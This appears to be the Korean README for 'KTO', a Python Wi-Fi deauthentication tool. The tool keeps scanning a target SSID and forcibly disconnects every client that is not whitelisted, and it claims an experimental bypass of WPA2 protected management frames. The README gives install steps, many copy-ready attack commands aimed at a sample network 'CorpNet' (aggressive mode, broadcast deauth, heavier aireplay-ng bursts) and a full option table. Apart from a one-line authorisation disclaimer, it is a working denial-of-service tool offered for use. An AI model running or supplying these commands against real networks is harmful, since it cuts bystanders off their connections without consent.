
대상 SSID에서 클라이언트를 지속적으로 스캔하고 화이트리스트에 없는 장치의 연결을 강제로 해제하는 자동화된 Wi-Fi deauthentication 도구입니다. 화이트리스트 지원, 메시/멀티 AP 대응, PMF 탐지, EAPOL 추출을 통한 실험적 WPA2 PMF 우회 기능을 제공합니다.
SSID를 지정하면 연결된 모든 클라이언트를 자동으로 발견하고, 다시 연결을 시도하는 클라이언트까지 포함해 수동 타게팅 없이 전부 내쫓습니다.
aireplay-ng 같은 도구는 BSSID와 클라이언트 MAC을 직접 지정해야 합니다. 네트워크에 누가 있는지 먼저 알아야 하고, 누군가 다시 연결되면 직접 잡아서 다시 실행해야 합니다. KTO는 이 모든 작업을 루프로 자동 처리합니다: 연속 스캔 → 실시간 클라이언트 목록 → 자동 deauth → 반복. 다시 연결되는 모든 클라이언트는 다음 스위프에서 잡힙니다.
승인된 용도로만 사용하세요. 소유한 네트워크 또는 명시적 서면 허가를 받은 네트워크에서만 실행하세요. 허가 없는 deauthentication은 대부분의 국가에서 불법입니다.
--live-table은 스크롤 로그 대신 갱신되는 클라이언트 테이블을 표시, 데모에 유용--log FILE은 모든 킥을 타임스탬프와 함께 저장하고 세션 간에 계속 추가됨--scan-only는 프레임을 보내지 않고 클라이언트를 발견하고 기록# Python 3.10+
pip install scapy
# aircrack-ng suite
sudo apt install aircrack-ng
루트 권한으로 실행해야 합니다.
git clone https://github.com/Ymsniper/KTO.git
cd KTO
pip install scapy
추가 설정은 필요 없습니다. 단일 스크립트이며 설정 파일이 없습니다.
sudo python3 kto.py -i <interface> -t <SSID> [options]
인터페이스는 모니터 모드여야 합니다. 또는 --auto-monitor를 전달하여 KTO가 처리하도록 할 수 있습니다.
# basic
sudo python3 kto.py -i wlan0mon -t "CorpNet"
# let KTO handle monitor mode
sudo python3 kto.py -i wlan0 -t "CorpNet" --auto-monitor
# aggressive mode — no reconnect window
sudo python3 kto.py -i wlan0mon -t "CorpNet" --aggressive
# spare your own device
sudo python3 kto.py -i wlan0mon -t "CorpNet" -w AA:BB:CC:DD:EE:FF
# passive discovery only, no deauth
sudo python3 kto.py -i wlan0mon -t "CorpNet" --scan-only
# mesh or multi-AP network
sudo python3 kto.py -i wlan0mon -t "CorpNet" --auto-bssid
# save a log and show live table
sudo python3 kto.py -i wlan0mon -t "CorpNet" --log session.txt --live-table
# heavier burst with aireplay-ng
sudo python3 kto.py -i wlan0mon -t "CorpNet" -n 10 --aireplay --broadcast
# disable PMF bypass (fall back to standard deauth on WPA2+PMF)
sudo python3 kto.py -i wlan0mon -t "CorpNet" --no-bypass
# my phone
AA:BB:CC:DD:EE:FF
# laptop
11:22:33:44:55:66
v2.1.6부터 KTO에는 PMF(Protected Management Frames)가 활성화된 WPA2-PSK 네트워크를 위한 실험적 PMF 기능이 포함되어 있습니다. WPA2 네트워크에서 PMF가 감지되면 KTO는 자동으로 잘못된 비밀번호 EAPOL 추출을 시도합니다:
이 우회는 실제 네트워크 비밀번호가 필요하지 않습니다 --- SSID만 있으면 됩니다.
중요한 제한 사항:
우회를 완전히 건너뛰고 표준 deauth 프레임만 전송하려면(PMF 지원 클라이언트가 이를 버릴 수 있음을 감수), --no-bypass 플래그를 사용하세요.
대상 AP에서 Protected Management Frames가 활성화되어 있으면 KTO가 시작 시 경고합니다. 802.11w를 지원하는 클라이언트는 보호되지 않은 deauth 프레임을 조용히 버리므로, 효과는 어떤 기기가 연결되어 있는지에 따라 달라집니다.
하지만 충분히 높은 deauth 버스트와 함께 공격 모드를 사용하면, KTO가 우회 없이도 일부 네트워크에서 PMF로 보호된 클라이언트를 여전히 연결 해제시키는 것이 관찰되었습니다. 단순한 프레임의 양이 특정 구현을 압도하는 것으로 보입니다. 따라서 PMF는 중요한 방어 수단이지만 모든 환경에서 무적은 아닙니다.
Ctrl+C는 모든 것을 깔끔하게 중지하고, KTO가 모니터 인터페이스를 생성한 경우 인터페이스를 관리 모드로 복원하며, 클라이언트별 버스트 횟수가 포함된 세션 요약을 출력합니다.
MIT 라이선스 --- LICENSE 참조
| 플래그 | 기본값 | 설명 |
|---|
-i, --interface | required | 무선 인터페이스 (예: wlan0mon) |
-t, --target | required | 대상 SSID 이름 |
-w, --whitelist | --- | 제외할 MAC 목록(쉼표로 구분) |
--whitelist-file FILE | --- | 제외할 MAC 파일, 한 줄에 하나씩 (# = 주석) |
-c, --channel | auto | 특정 채널로 고정 |
-n, --count | 5 | 방향당 버스트별 deauth 프레임 수 |
-s, --sleep | 5.0 | 스위프 사이 간격(초) |
--scan-duration | 8.0 | 스위프마다 airodump-ng가 수신 대기하는 시간(초) |
--delay | 0.1 | 공격 모드 루프에서 클라이언트별 지연 시간 |
--broadcast | off | 브로드캐스트 ff:ff:ff:ff:ff:ff도 deauth |
--aireplay | off | Scapy 대신 aireplay-ng 사용 |
--aggressive | off | 병렬 스캔 + deauth 스레드 |
--scan-only | off | 패시브 모드, 프레임 전송 없음 |
--auto-monitor | off | airmon-ng를 통해 모니터 모드 자동 활성화 |
--auto-bssid | off | 메시 / 멀티 AP SSID에 대해 가장 강한 BSSID 자동 선택 |
--reason | 7 | 802.11 이유 코드 (1=지정되지 않음, 4=비활성, 7=클래스3 프레임) |
--log FILE | --- | 타임스탬프가 있는 킥 로그를 파일로 저장 |
--live-table | off | 스크롤 출력 대신 갱신되는 클라이언트 테이블 표시 |
--no-bypass, -nb | off | 실험적 PMF 우회 비활성화 |